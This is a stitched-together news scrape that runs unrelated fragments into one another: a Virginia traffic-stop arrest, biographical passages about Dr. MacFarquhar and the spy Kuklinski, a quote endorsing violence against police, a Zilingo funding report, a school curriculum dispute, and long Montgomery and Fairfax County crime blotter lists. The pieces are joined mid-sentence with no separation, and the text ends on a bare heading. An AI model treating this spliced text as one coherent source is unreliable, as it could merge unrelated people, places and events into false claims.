Minnieville Rd., 1:43 a.m. Feb. 2. A woman was arrested during a traffic stop. Police smelled a strong odor of marijuana coming from inside of the vehicle, and located a concealed firearm and suspected cocaine and marijuana. A 16-year-old male family member was inside the vehicle and unharmed. The 18-year-old Bladensburg woman was arrested and charged with felony child neglect or abuse, possession of a scheduled I or II narcotic, possession of marijuana with the intent to distribute, possession of a firearm with a schedule I or II narcotic, and possession of a concealed firearm.After working for the Daily Telegraph, Dr. MacFarquhar joined the BBC and became the founding editor of the China Quarterly. In the 1970s, he was the host of the BBC program 24 Hours. After five years in the House of Commons, he completed a doctorate at the London School of Economics in 1981 and held several academic fellowships before landing at Harvard in 1984.If your cause is just, if youre at war, then its the booty of war, she told the Miami New Times in 2000. The police officers who were killed in New York, she added, were upholding the genocidal and oppressive policies of the United States. They were soldiers who were at war with us. When I say us, I dont mean just us in the African community; I mean people of color and poor people.Kuklinski loved sailing and served as captain of a Polish general staff yacht that he piloted to Germany, where he first volunteered to spy for the United States in a letter sent to the American embassy in 1972. When Kuklinski eventually came to the United States, he brought Mr. Forden a piece of art that had once hung in his home, an 1899 etching of a sailing ship that lay on its side, half-submerged off a sandy shore, and titled After the Storm. Mr. Forden hung it proudly and showed it to visitors in his home in Arlington.Zilingo, a Singapore-based fashion and lifestyle ecommerce startup, raised $226m in Series D funding.

Backers in the round, which brought total capital raised by the company to date to $308m, included Sequoia Capital and Temasek Holdings, EDBI, Burda Principal Investments, and Sofina.

The company intends to use the capital to invest in technology and expand in the Philippines, Indonesia, and Australia during the current year.

Co-founded in 2015 by Ankiti Bose, CEO, and Dhruv Kapoor, CTO, Zilingo is a fashion and lifestyle marketplace selling products is such categories as Clothing, Bags, Shoes, Jewellery, Accessories, Watches, Baby & Kids, Skin Care, Bath & Body, Makeup, Electronics, Home) from Southeast Asia and China. The platform also provides merchants with tools to increase reach, manage inventory, and get facilities such as free shipping, free packaging, and doorstep pickup.

FinSMEs

13/02/2019Montgomery County

The following information, provided by the Montgomery County Police Department, shows selected offenses reported to police. Crime reports may be based on preliminary information that is subject to change as a result of further investigation.

REWARDS FOR INFORMATION

Crime Solvers of Montgomery County, a nonprofit organization, pays up to $1,000 for information leading to an arrest and indictment in connection with felonies. Call the 24-hour hotline at 800-673-2777. Callers may remain anonymous.

District 1

Rockville Station

Telephone: 240-773-6070

ASSAULTS

Lewis Ave., 1000 block, 10:37 p.m. Feb. 2. Aggravated assault.

ROBBERIES

Baltimore Rd., 800 block, 6:49 p.m. Feb. 3. Robbery reported.

Shady Grove Rd., 14900 block, 3:36 p.m. Feb. 3. Robbery reported.

Somerville Dr., 15900 block, 10:50 p.m. Feb. 3. Robbery reported.

THEFTS/BREAK-INS

Bou Ave., 5700 block, 4:01 p.m. Feb. 2. Shoplifting.

Dairyfield Ct., Unit block, 7:16 p.m. Feb. 1. Larceny.

Dundee Rd., 1900 block, 3:10 p.m. Jan. 31. Theft from motor vehicle.

Fisher Ave., 19600 block, 12:07 p.m. Feb. 4. Theft from motor vehicle.

Frederick Ave., 200 block, 8:53 a.m. Feb. 5. Larceny.

Gude Dr. E., 600 block, 12:21 p.m. Feb. 5. Theft from building.

Gudelsky Dr., 9600 block, 3:20 p.m. Feb. 1. Embezzlement.

Howard Ave., 300 block, 11:48 a.m. Feb. 5. Burglary, breaking and entering.

Hungerford Dr., 400 block, 4:33 p.m. Jan. 31. Larceny.

Killean Way, 8200 block, 5:33 p.m. Jan. 24. Theft from motor vehicle.

King Farm Blvd., 100 block, 11:53 a.m. Feb. 4. Theft from motor vehicle.

Maryland Ave., Unit block, 5 p.m. Jan. 30. Theft from building.

Paisley Pl., 8100 block, 10:57 a.m. Jan. 24. Theft from motor vehicle.

Rockville Pike, 1500 block, 1:02 p.m. Feb. 2. Theft from building.

Rockville Pike, 12000 block, 5:16 p.m. Feb. 1. Shoplifting.

Rockville Pike, 12200 block, 6:35 a.m. Jan. 31. Burglary, breaking and entering.

Villisca Terr., 15500 block, 1:13 p.m. Feb. 3. Larceny.

War Admiral Ct., Unit block, 4:33 p.m. Feb. 1. Larceny.

MOTOR VEHICLE THEFT

Elmcroft Blvd., 800 block, 9:04 a.m. Feb. 1. Motor vehicle theft reported.

District 2

Bethesda Station

Telephone: 240-773-6700

ASSAULTS

Executive Blvd., 6100 block, 4:33 p.m. Jan. 22. Aggravated assault.

THEFTS/BREAK-INS

Arlington Rd., 6900 block, 5:09 p.m. Jan. 29. Theft from building.

Beman Woods Way, 9700 block, 1:12 p.m. Jan. 16. Larceny.

Ben Avon Rd., 7500 block, 3:54 p.m. Feb. 1. Larceny.

Brewer House Rd., 10700 block, 9:41 a.m. Jan. 28. Theft from motor vehicle.

Chapman Mill Dr., 5700 block, 10:23 a.m. Jan. 28. Theft from motor vehicle.

Colchester Dr., 4200 block, 7:18 a.m. Jan. 31. Theft from motor vehicle.

Democracy Blvd., 7100 block, 2:01 p.m. Jan. 19. Shoplifting.

Democracy Blvd., 7100 block, 5:47 p.m. Jan. 29. Theft from building.

Democracy Blvd., 7100 block, 5:13 p.m. Jan. 30. Purse-snatching.

Democracy Blvd., 7100 block, 11:42 a.m. Feb. 2. Shoplifting.

Democracy Blvd., 7100 block, 4:08 p.m. Feb. 3. Shoplifting.

Democracy Blvd., 7100 block, 4:56 p.m. Feb. 3. Theft from building.

Earlham Dr., 6400 block, 5:50 p.m. Jan. 25. Larceny.

Edson Park Pl., 11200 block, 9:36 a.m. Jan. 29. Theft from motor vehicle.

Farnham Dr., 10500 block, 3:46 p.m. Jan. 27. Theft from motor vehicle.

Grand Park Ave., 11800 block, 5:56 p.m. Feb. 3. Theft from building.

Grubb Rd., 8300 block, 4:40 p.m. Feb. 1. Theft from motor vehicle.

Lavin Lane, 6000 block, 8:13 a.m. Jan. 31. Theft from building.

Longfellow Pl., 8500 block, 3:54 p.m. Feb. 1. Burglary, breaking and entering.

Magic Mountain Dr., 5800 block, 10:48 a.m. Jan. 30. Theft from motor vehicle.

Montgomery Ave., 4400 block, 2:09 p.m. Jan. 29. Theft from motor vehicle.

Moorland Lane, 5300 block, 4:30 p.m. Jan. 31. Larceny.

Newdale Rd., 3900 block, 8:23 a.m. Feb. 1. Theft from building.

Newhall Rd., 9900 block, 11:05 a.m. Feb. 4. Theft from motor vehicle.

Nicholson Lane, 5800 block, 9:36 a.m. Jan. 24. Theft from motor vehicle.

Old Georgetown Rd., 10400 block, 5:01 p.m. Feb. 3. Shoplifting.

Randolph Rd., 5500 block, 12:10 p.m. Jan. 26. Theft from building.

Rockville Pike, 11300 block, 3:25 p.m. Jan. 25. Shoplifting.

Sangamore Rd., 4700 block, 12:16 p.m. Jan. 23. Theft from motor vehicle.

Sugarbush Lane, 5600 block, 12:02 p.m. Jan. 30. Theft from motor vehicle.

University Blvd. W., 3700 block, 7:03 p.m. Feb. 3. Shoplifting.

Westbard Ave., 5300 block, 9:02 p.m. Jan. 27. Theft from building.

Wisconsin Ave., 5600 block, 12:28 p.m. Jan. 28. Larceny.

Wisconsin Ave., 6800 block, 1:03 p.m. Jan. 30. Shoplifting.

Wisconsin Ave., 7200 block, 7:13 p.m. Jan. 19. Shoplifting.

Wisconsin Ave., 7200 block, 1:39 p.m. Jan. 30. Shoplifting.

MOTOR VEHICLE THEFT

Terrace Dr., 2800 block, 2:26 p.m. Jan. 27. Motor vehicle theft reported.

District 3

Silver Spring Station

Telephone: 240-773-6800

ASSAULTS

Cherry Hill Rd., 12000 block, 10:24 p.m. Jan. 29. Aggravated assault.

Colesville Rd., 8700 block, 10 p.m. Feb. 3. Aggravated assault.

Manchester Rd., 8400 block, 8 p.m. Feb. 4. Aggravated assault.

Oak Leaf Dr., 11200 block, 10:04 p.m. Jan. 29. Aggravated assault.

ROBBERIES

Fenton St., 8500 block, 3:44 p.m. Jan. 29. Robbery reported.

New Hampshire Ave., 10200 block, 6:15 p.m. Jan. 31. Robbery reported.

Piney Branch Rd., 8500 block, 9:44 p.m. Jan. 29. Robbery reported.

THEFTS/BREAK-INS

Blair Mill Rd., 1400 block, 1:47 p.m. Jan. 30. Theft from building.

Bonifant St., 900 block, 4:24 a.m. Feb. 2. Burglary, breaking and entering.

Broadbirch Dr., 2300 block, 12:41 p.m. Jan. 27. Theft from building.

Cameron St., 8500 block, 4:15 p.m. Feb. 2. Theft from motor vehicle.

Castle Blvd., 13900 block, 2:10 p.m. Jan. 10. Burglary, breaking and entering.

Cherry Hill Rd., 12000 block, 2:13 p.m. Jan. 28. Shoplifting.

Cherry Hill Rd., 12000 block, 4:03 p.m. Jan. 29. Shoplifting.

Cherry Hill Rd., 12000 block, 8:31 p.m. Jan. 29. Shoplifting.

Colesville Rd., 8300 block, 4:47 p.m. Jan. 23. Theft from motor vehicle.

Colesville Rd., 8300 block, 7:09 a.m. Jan. 28. Theft from motor vehicle.

Colesville Rd., 8700 block, 7:27 p.m. Jan. 31. Larceny.

December Way, 11400 block, 5:41 p.m. Jan. 30. Burglary, breaking and entering.

East West Hwy., 1200 block, 6:07 p.m. Jan. 24. Theft from motor vehicle.

East West Hwy., 1200 block, 8:55 a.m. Jan. 31. Theft from motor vehicle.

Eastern Ave., 7700 block, 12:30 a.m. Feb. 1. Theft from motor vehicle.

Eastern Ave., 7700 block, 8:09 a.m. Feb. 1. Theft from motor vehicle.

Ellsworth Dr., 900 block, 5:06 p.m. Jan. 23. Shoplifting.

Ellsworth Dr., 900 block, 5:36 p.m. Jan. 31. Shoplifting.

Elton Rd., 1700 block, 3:53 p.m. Jan. 25. Theft from motor vehicle.

Fairridge Dr., 13700 block, 2:22 p.m. Jan. 23. Theft from motor vehicle.

Fenton St., 8500 block, 4:24 a.m. Feb. 2. Burglary, breaking and entering.

Forest Glen Rd., 1500 block, 9:28 p.m. Jan. 27. Theft from building.

Forest Glen Rd., 2600 block, 5:10 p.m. Jan. 30. Burglary, breaking and entering.

Georgia Ave., 8000 block, 10:02 a.m. Jan. 28. Larceny.

Georgia Ave., 8100 block, 3:15 p.m. Jan. 24. Theft from building.

Georgia Ave., 8700 block, 4:13 p.m. Jan. 28. Theft from motor vehicle.

Greenwood Ave., 8500 block, 12:22 a.m. Jan. 25. Theft from building.

Johnson Ave., 800 block, 11:56 p.m. Jan. 27. Larceny.

Kennett St., 8000 block, 9:03 a.m. Jan. 25. Theft from motor vehicle.

Linden Lane, 2400 block, 2:40 a.m. Jan. 26. Burglary, breaking and entering.

Lockwood Dr., 11600 block, 6:30 p.m. Jan. 23. Theft from motor vehicle.

New Hampshire Ave., 11200 block, 4:48 p.m. Jan. 13. Shoplifting.

New Hampshire Ave., 11200 block, 2:54 p.m. Jan. 25. Theft from building.

New Hampshire Ave., 11200 block, 4:14 p.m. Jan. 30. Shoplifting.

New Hampshire Ave., 11200 block, 9:26 p.m. Feb. 2. Theft from motor vehicle.

Newell St., 8000 block, 7:56 p.m. Jan. 28. Theft from building.

Renfrew Rd., 10000 block, 7:02 p.m. Jan. 29. Larceny.

Russell Rd., 9400 block, 1:47 p.m. Jan. 31. Burglary, breaking and entering.

Silver Spring Ave., 900 block, 3:57 p.m. Jan. 25. Theft from building.

Silver Spring Ave., 900 block, 11:21 a.m. Jan. 28. Theft from building.

First Ave., 8700 block, 10:27 a.m. Feb. 4. Theft from motor vehicle.

Second Ave., 8600 block, 8:52 a.m. Jan. 29. Theft from motor vehicle.

Second Ave., 8600 block, 11:29 a.m. Jan. 29. Theft from motor vehicle.

MOTOR VEHICLE THEFTS

Arliss St., 8700 block, 10:19 a.m. Feb. 1. Motor vehicle theft reported.

Ellsworth Dr., 800 block, 8:42 a.m. Jan. 27. Motor vehicle theft reported.

Georgia Ave., 9900 block, 9:07 a.m. Jan. 28. Motor vehicle theft reported.

Grace Church Rd., 1500 block, 6:09 a.m. Jan. 28. Motor vehicle theft reported.

Old Columbia Pike, 11700 block, 11:36 a.m. Jan. 30. Motor vehicle theft reported.

District 4

Wheaton Station

Telephone: 240-773-5500

ASSAULTS

Bel Pre Rd., 3700 block, 5:41 a.m. Feb. 3. Aggravated assault.

ROBBERIES

McMahon Rd., 2200 block, 11:44 a.m. Feb. 1. Robbery reported.

Ordway Dr., 10600 block, 11:27 a.m. Feb. 1. Robbery reported.

University Blvd. W., 800 block, 12:58 p.m. Jan. 31. Robbery reported.

University Blvd. W., 2900 block, 7:16 p.m. Jan. 30. Robbery reported.

Weeping Willow Dr., 14100 block, 12:06 a.m. Jan. 30. Robbery reported.

WEAPON

Georgia Ave., 11200 block, 8:35 p.m. Jan. 29. Weapon law violations.

THEFTS/BREAK-INS

Amberleigh Terr., 14200 block, 7:38 p.m. Jan. 24. Larceny.

Bel Pre Rd., 3800 block, 8:13 a.m. Jan. 30. Theft from motor vehicle.

Chester Mill Terr., 16000 block, 1:44 p.m. Jan. 24. Theft from motor vehicle.

Chester Mill Terr., 16100 block, 4:53 a.m. Jan. 24. Theft from motor vehicle.

Connecticut Ave., 12700 block, 11:15 a.m. Feb. 4. Larceny.

Connecticut Ave., 14000 block, 1:05 p.m. Jan. 24. Shoplifting.

Copley Lane, 600 block, 10:24 a.m. Jan. 28. Larceny.

Dalewood Dr., 12400 block, 5:17 p.m. Jan. 31. Theft from building.

Douglas Ave., 10700 block, 8:44 p.m. Feb. 2. Theft from motor vehicle.

Edgemont St., 12100 block, 10:56 a.m. Jan. 31. Theft from motor vehicle.

Georgia Ave., 11200 block, 1:07 p.m. Feb. 2. Shoplifting.

Georgia Ave., 12500 block, 4:25 p.m. Jan. 23. Theft from motor vehicle.

Glenallan Ave., 2600 block, 12:21 p.m. Jan. 29. Burglary, breaking and entering.

Layhill Rd., 14300 block, 11:21 a.m. Jan. 29. Theft from building.

Lester St., 10700 block, 4:37 p.m. Jan. 25. Larceny.

Medway St., 3000 block, 6:48 p.m. Jan. 24. Theft from motor vehicle.

Nairn Rd., 11500 block, 7:10 a.m. Jan. 31. Theft from motor vehicle.

Newport Mill Rd., 11100 block, 1:48 a.m. Feb. 3. Burglary, breaking and entering.

Selfridge Rd., 11800 block, 4:32 p.m. Feb. 1. Burglary, breaking and entering.

Sherwood Forest Dr., 13700 block, 9:28 a.m. Jan. 24. Burglary, breaking and entering.

Stoney Castle St., 3700 block, 10:38 a.m. Feb. 1. Theft from motor vehicle.

Terrapin Rd., 2700 block, 2:16 p.m. Feb. 1. Burglary, breaking and entering.

University Blvd. W., 2900 block, 1:53 p.m. Jan. 29. Shoplifting.

University Blvd. W., 2900 block, 8:13 p.m. Jan. 29. Shoplifting.

University Blvd. W., 2900 block, 6:45 p.m. Jan. 31. Shoplifting.

Veirs Mill Rd., 11000 block, 12:42 a.m. Jan. 26. Theft from building.

Veirs Mill Rd., 11100 block, 3:34 p.m. Jan. 29. Larceny.

Veirs Mill Rd., 11100 block, 12:21 p.m. Jan. 30. Shoplifting.

Veirs Mill Rd., 11100 block, 7:05 p.m. Feb. 1. Theft from building.

Veirs Mill Rd., 11100 block, 1:25 p.m. Feb. 4. Shoplifting.

Veirs Mill Rd., 11100 block, 7:47 p.m. Feb. 4. Theft from building.

Village Center Dr., 18300 block, 10:53 a.m. Jan. 26. Theft from building.

Whispering Pines Dr., 3100 block, 8:31 a.m. Feb. 4. Theft from motor vehicle.

MOTOR VEHICLE THEFT

Glenmont Cir., 2300 block, 9:37 a.m. Feb. 1. Motor vehicle theft reported.

District 5

Germantown Station

Telephone: 240-773-6200

ASSAULTS

Black Gold Way, 18000 block, 7:32 p.m. Jan. 29. Aggravated assault.

Ridge Rd., 27000 block, 9:47 p.m. Feb. 2. Aggravated assault.

Smoke House Ct., 18200 block, 9:51 p.m. Jan. 29. Aggravated assault.

ROBBERY

Dovedale Way, 13300 block, 4:07 a.m. Feb. 3. Robbery reported.

WEAPON

Wheatfield Terr., 19200 block, 5:02 p.m. Jan. 31. Weapon law violations.

THEFTS/BREAK-INS

Bent Willow Cir., 18800 block, 5:10 p.m. Jan. 25. Larceny.

Cabin Branch Ave., 22300 block, 10:04 a.m. Jan. 24. Larceny.

Century Blvd., 20000 block, 10:25 a.m. Feb. 3. Larceny.

Churubusco Lane, 19300 block, 9:38 a.m. Jan. 29. Theft from motor vehicle.

Clarksburg Rd., 22700 block, 6:54 p.m. Jan. 31. Shoplifting.

Derry Glen Ct., 13500 block, 7:37 p.m. Jan. 30. Burglary, breaking and entering.

Flowerton Pl., 11400 block, 2:06 p.m. Jan. 23. Larceny.

Frederick Rd., 20900 block, 1:44 p.m. Jan. 27. Shoplifting.

Frederick Rd., 20900 block, 2:29 p.m. Jan. 28. Shoplifting.

Frederick Rd., 20900 block, 2:14 p.m. Jan. 31. Shoplifting.

Frederick Rd., 20900 block, 2:05 p.m. Feb. 1. Shoplifting.

Mateny Hill Rd., 19300 block, 8:01 p.m. Jan. 30. Theft from motor vehicle.

Milestone Center Dr., 12400 block, 10:36 a.m. Jan. 29. Theft from building.

Pickering Dr., 13100 block, 7:18 p.m. Jan. 29. Theft from building.

Scovell Terr., 11900 block, 4:05 a.m. Jan. 29. Burglary, breaking and entering.

Seneca Meadows Pkwy., 20600 block, Jan. 31. Shoplifting.

Seneca Meadows Pkwy., 20600 block, 11:56 a.m. Feb. 3. Shoplifting.

Sycamore Farm Dr., 23000 block, 8:33 a.m. Jan. 28. Theft from motor vehicle.

District 6

Gaithersburg Station

Telephone: 240-773-5700

ASSAULTS

Russell Ave., 700 block, 6:19 p.m. Feb. 2. Aggravated assault.

THEFTS/BREAK-INS

Barkley Lane, Unit block, 10:59 a.m. Jan. 30. Theft from motor vehicle.

Center Point Way, 600 block, 7:44 a.m. Jan. 28. Theft from motor vehicle.

Duvall Lane, 100 block, 11:35 p.m. Jan. 27. Theft from motor vehicle.

Frederick Ave. N., 400 block, 2:41 p.m. Jan. 26. Theft from motor vehicle.

Linden Hall Ct., Unit block, 11:09 a.m. Jan. 24. Theft from motor vehicle.

Lost Knife Cir., 18300 block, 3:17 p.m. Jan. 30. Theft from motor vehicle.

Lost Knife Cir., 18300 block, 6:24 p.m. Jan. 31. Theft from motor vehicle.

Lost Knife Cir., 18300 block, 3:22 p.m. Feb. 1. Burglary, breaking and entering.

Mineral Springs Ct., Unit block, 3:51 p.m. Jan. 30. Theft from motor vehicle.

Morning View Dr., 8100 block, 9:03 a.m. Feb. 4. Burglary, breaking and entering.

Muddy Branch Rd., 800 block, 10:34 p.m. Jan. 30. Shoplifting.

Ridgeline Dr., 10200 block, 5:12 p.m. Jan. 29. Theft from motor vehicle.

Russell Ave., 700 block, 2:55 p.m. Jan. 24. Shoplifting.

Russell Ave., 700 block, 6:18 p.m. Jan. 31. Shoplifting.

Russell Ave., 700 block, 9:05 p.m. Jan. 31. Shoplifting.

Russell Ave., 700 block, 5:31 p.m. Feb. 1. Shoplifting.

Swanton Lane, 100 block, 3:26 p.m. Jan. 25. Larceny.

Teachers Way, Unit block, 5:57 p.m. Jan. 31. Theft from building.

Walkers Choice Rd., 18700 block, 3:46 a.m. Feb. 1. Burglary, breaking and entering.

Washingtonian Blvd., 9800 block, 12:32 a.m. Feb. 4. Theft from building.

Watkins Mill Rd., 600 block, 4:22 p.m. Jan. 30. Theft from motor vehicle.

MOTOR VEHICLE THEFTS

Amity Dr., 17600 block, 1:13 p.m. Jan. 30. Motor vehicle theft reported.

Harron Valley Way, 20100 block, 7:46 a.m. Jan. 31. Motor vehicle theft reported.

Lost Knife Cir., 18200 block, 6:25 a.m. Jan. 30. Motor vehicle theft reported.

Shadow Oak Dr., 9700 block, 10:32 a.m. Feb. 1. Motor vehicle theft reported.

Thomas Lea Terr., 8800 block, 12:19 p.m. Feb. 5. Motor vehicle theft reported.

Takoma Park and other areas

ROBBERY

University Blvd. E., 1000 block, 11:31 p.m. Jan. 25. Robbery reported.

THEFTS/BREAK-INS

Carroll Ave., 8100 block, 1:41 p.m. Jan. 16. Burglary, breaking and entering.

Holly Ave., 7300 block, 11:29 a.m. Jan. 28. Theft from motor vehicle.

Houston Ct., 8200 block, 3:34 a.m. Jan. 26. Larceny.

New Hampshire Ave., 6400 block, 6:58 p.m. Jan. 27. Shoplifting.

New Hampshire Ave., 7600 block, 3:40 p.m. Jan. 30. Purse-snatching.

Park Ave., 200 block, 12:39 p.m. Feb. 4. Theft from motor vehicle.

Philadelphia Ave., Unit block, 9:19 a.m. Jan. 27. Theft from motor vehicle.

University Blvd. E., 1300 block, 1:49 p.m. Jan. 24. Shoplifting.The lesson in dispute lasted five days in a year-long course when Wood was in 11th grade at La Plata High School in 2014-2015. Wood and her parents objected to two aspects of the unit that touched on politics, geography and culture. One was a slide contrasting peaceful Islam with radical fundamental Islam that included the statement: Most Muslims [sic] faith is stronger than the average Christian.Fairfax County

These were among incidents reported by the Fairfax County Police Department. For information, call 703-246-2253.

Fair Oaks District

THEFTS/BREAK-INS

Arrowhead Cir., 3200 block, Feb. 5. A document was stolen from a residence.

Blake Lane, 9500 block, Feb. 3. Beer was stolen from a business.

Centerview Dr., 3800 block, Jan. 31. A package was stolen from a residence.

Chain Bridge Rd., 2500 block, Feb. 3. A laptop was stolen from a location.

Chain Bridge Rd., 2700 block, Feb. 4. Cellphones, cash and backpacks were stolen from vehicles.

Fair Oaks Shopping Ctr., 11700 block, Feb. 3. A wallet was stolen from a location.

Joseph Siewick Dr., 3600 block, Feb. 3. Propertywas stolen from a business.

Lee Jackson Memorial Hwy., 12000 block, Feb. 6. A wallet was stolen from a location.

Lee Jackson Memorial Hwy., 12300 block, Feb. 6. Earrings were stolen from a residence.

Stoneledge Ct., 11000 block, 7:06 p.m. Feb. 1. Officers responded to a burglary alarm at the location and found a broken glass door. A room was ransacked and personal items were taken.

White Birch Ct., 3000 block, Feb. 6. Earrings were stolen from a residence.

Franconia District

ROBBERY

Brookfield Plaza, 7100 block, 9:03 p.m. Feb. 6. Robbery reported.

THEFTS/BREAK-INS

Bren Mar Dr., 6300 block, Feb. 3. Equipment was stolen from a residence.

Frontier Dr., 6600 block, Feb. 3. Merchandise was stolen from a business.

Gravel Ave., 6300 block, Feb. 3. A license plate was stolen from a vehicle.

Gunston Cove Rd., 9500 block, Feb. 5. Property was stolen from a vehicle.

Hagel Cir., 9600 block, Feb. 5. A license plate was stolen from a vehicle.

Hagel Cir., 9600 block, Feb. 6. A license plate was stolen from a vehicle.

Kingstowne Blvd., 5700 block, Feb. 3. Shoes were stolen from a business.

Kingstowne Blvd., 5800 block, Feb. 3. A cellphone was stolen from a location.

Kingstowne Blvd., 5800 block, Feb. 3. Merchandise was stolen from a business.

Little River Tpk., 7100 block, Feb. 5. A wallet was stolen from a location.

Mary Caroline Cir., 6900 block, Feb. 6. Property was stolen from a residence.

Richmond Hwy., 9300 block, Feb. 6. Merchandise was stolen from a business.

Royal Crest Lane, 6100 block, Feb. 5. A backpack was stolen from a vehicle.

Springfield Plaza, 6400 block, Feb. 5. Liquor was stolen from a business.

VEHICLE THEFT

Oakwood Rd., 5400 block, Jan. 31. A U-Haul truck and trailer.

Mason District

ASSAULT

Knollwood Dr., 6000 block, 1:04 a.m. Feb. 2. Officers responded to a fight at an apartment complex involving a group of men.

ROBBERY

Little River Tpk., 6200 block, 6:06 p.m. Feb. 5. Robbery reported.

THEFTS/BREAK-INS

Alpine Dr., 6800 block, Feb. 3. Tools were stolen from a residence.

Arlington Blvd., 6100 block, Feb. 6. Merchandise was stolen from a business.

Barcroft View Terr., 3600 block, Feb. 4. Clothing was stolen from a location.

Columbia Pike, 7200 block, Jan. 31. A package was stolen from a business.

Kennedy Lane, 6600 block, Feb. 4. A bag was stolen from a vehicle.

Little River Tpk., 6200 block, Feb. 6. Liquor was stolen from a business.

Little River Tpk., 6500 block, Feb. 3. Merchandise was stolen from a business.

Little River Tpk., 7600 block, Feb. 3. A wallet was stolen from a location.

Seminary Rd., 5500 block, Feb. 3. Property was stolen from a residence.

Seven Corners Ctr., 6200 block, Feb. 3. Merchandise was stolen from a business.

Seven Corners Ctr., 6200 block, Feb. 6. Keys were stolen from a location.

VEHICLE THEFT

Huntington Ave., 2500 block, Feb. 3. A 2015 Nissan Murano.

McLean District

THEFTS/BREAK-INS

Broadstone Pl., 1400 block, 5:26 p.m. Feb. 1. The homeowner reported someone forced entry to the rear door. It was determined that someone had entered the home but nothing appeared to have been taken.

Centrillion Dr., 800 block, Feb. 6. Property was stolen from a residence.

Chain Bridge Rd., 1900 block, Jan. 31. Merchandise was stolen from a business.

Chain Bridge Rd., 1900 block, Feb. 4. Shoes were stolen from a business.

Chain Bridge Rd., 2000 block, Feb. 3. Purses were stolen from a location.

Cornerside Blvd., 1500 block, Feb. 5. A credit card was stolen from a location.

Gallows Rd., 2800 block, Feb. 5. Cash was stolen from a business.

Gallows Rd., 2900 block, Jan. 31. Money was stolen from a business.

Greensboro Dr., 8200 block, Feb. 3. A credit card was stolen from a location.

Idylwood Rd., 8000 block, Feb. 4. A ring was stolen from a residence.

Jones Branch Dr., 7900 block, Feb. 3. Tires were stolen from a vehicle.

Laurel Hill Rd., 1500 block, Feb. 3. A package was stolen from a residence.

Lee Hwy., 9400 block, Jan. 31. A license plate was stolen from a car.

Leesburg Pike, 7800 block, Feb. 6. A purse was stolen from a location.

Leesburg Pike, 8200 block, Feb. 6. A wallet was stolen from a location.

Old Gallows Rd., 1900 block, Feb. 3. A wallet was stolen from a location.

Old Meadow Rd., 1700 block, Feb. 3. A cellphone was stolen from a vehicle.

Old Meadow Rd., 1800 block, Jan. 31. A wallet was stolen from a locker.

Pinnacle Dr., 1700 block, Feb. 4. Cash was stolen from a location.

Tysons Corner Ctr., 8100 block, Jan. 31. Merchandise was stolen from a business.

Wilson Lane, 1900 block, Feb. 3. A license plate was stolen from a vehicle.

VEHICLE THEFT

Tysons One Pl., 7900 block, Feb. 4. A 2004 Acura TL.

Mount Vernon District

ROBBERIES

Richmond Hwy., 8400 block, 10:53 p.m. Feb. 6. Robbery reported.

Robert E Lee Pl., 3500 block, Feb. 6. Robbery reported.

THEFTS/BREAK-INS

Audubon Ave., 7900 block, Feb. 3. A cellphone was stolen from a residence.

Audubon Ave., 7900 block, Feb. 3. A credit card was stolen from a residence.

Belle Vista Dr., 1200 block, Feb. 4. A wallet was stolen from a location.

Brown Ct., 8100 block, Feb. 5. Documents were stolen from a residence.

Chimney Wood Ct., 6300 block, Feb. 5. Coins were stolen from a vehicle.

Fairhaven Ave., 2400 block, Feb. 3. Merchandise was stolen from a business.

Fort Hunt Rd., 7900 block, Jan. 31. Merchandise was stolen from a business.

Kingsbridge Dr., 9700 block, 1:13 p.m. Feb. 6. The homeowner arrived home and discovered electronics were taken.

Lockheed Blvd., 3100 block, Feb. 3. Merchandise was stolen from a business.

Lockheed Blvd., 3100 block, Feb. 6. Merchandise was stolen from a business.

Parkers Lane, 2500 block, Feb. 4. A gun was stolen from a location.

Pelican Pl., 3300 block, Feb. 3. Cash was stolen from a residence.

Richmond Hwy., 5900 block, Jan. 31. Phone, wallet and keys were stolen from a locker room.

Richmond Hwy., 6300 block, Feb. 3. Merchandise was stolen from a business.

Richmond Hwy., 7600 block, Feb. 6. Merchandise was stolen from a business.

Richmond Hwy., 8600 block, Jan. 31. Merchandise was stolen from a business.

Richmond Hwy., 8600 block, Feb. 3. Merchandise was stolen from a business.

Richmond Hwy., 8800 block, Feb. 3. Merchandise was stolen from a business.

Robert E., 3600 block, Jan. 31. A license plate was stolen from a car.

Towne Manor Ct., 8500 block, Feb. 3. A shovel was stolen from a residence.

Windbreak Dr., 2400 block, Jan. 31. A package was stolen from a residence.

VEHICLE THEFTS

Glenmore Dr., 3300 block, Feb. 4. A 1996 Toyota Camry.

Parkers Lane, 2500 block, Feb. 5. A 2009 Honda Odyssey van.

Richmond Hwy., 6700 block, Jan. 31. A 2000 Toyota Camry.

Reston District

THEFTS/BREAK-INS

Centreville Rd., 2400 block, Feb. 3. Liquor was stolen from a business.

Centreville Rd., 2400 block, Feb. 3. Merchandise was stolen from a business.

Commerce Park Dr., 11400 block, Feb. 4. An electronic device was stolen from a location.

Edmund Halley Dr., 2000 block, Feb. 3. Chainsaws were stolen from a construction site.

Grey Squirrel Lane, 11000 block, Jan. 31. A bag was stolen from a car.

Hunters Woods Plaza, 2300 block, Feb. 6. Beer was stolen from a business.

Oracle Way, 1800 block, Feb. 5. Watches were stolen from a residence.

Park Royal Dr., 10000 block, 8:25 p.m. Feb. 1. The homeowner arrived home to find their front door open and rooms in disarray. Someone forced entry to the rear sliding door and stole personal property.

Plaza America Dr., 11600 block, Feb. 6. Keys were stolen from a location.

Stratford House Pl., 11700 block, Feb. 3. A credit card was stolen from a location.

Sully District

THEFTS/BREAK-INS

Chantilly Shopping Ctr., 4300 block, Feb. 3. Merchandise was stolen from a business.

Flint Lee Rd., 14700 block, Feb. 4. A bag was stolen from a location.

Galesbury Lane, 4200 block, Feb. 3. Medications and credit cards were stolen from a residence.

Grobie Pond Lane, 14700 block, Feb. 6. A purse was stolen from a location.

Pepsi Pl., 4100 block, Feb. 5. Property was stolen from a construction.

Rachael Alice Lane, 5200 block, Feb. 3. Property was stolen from a location.

Westfields Blvd., 5100 block, Feb. 3. Merchandise was stolen from a business.

West Springfield District

ROBBERY

Rolling Rd., 6200 block, 2:30 p.m. Feb. 1. Robbery reported.

THEFTS/BREAK-INS

Birch Leaf Ct., 6400 block, 3 p.m. Feb. 6. The homeowner arrived home to find their house had been broken into through an unlocked door. Several items were taken, including electronics and personal items.

Braddock Rd., 10600 block, Feb. 3. Mats were stolen from a location.

Corporate Ct., 8000 block, Feb. 4. Tires were stolen from a vehicle.

Guinea Rd., 5600 block, Feb. 4. Property was stolen from a location.

Ox Rd., 9700 block, Feb. 3. A purse was stolen from a vehicle.

Rolling Rd., 6200 block, Feb. 4. A purse was stolen from a location.

Susquehanna St., 8700 block, Feb. 3. Merchandise was stolen from a business.

Fairfax City
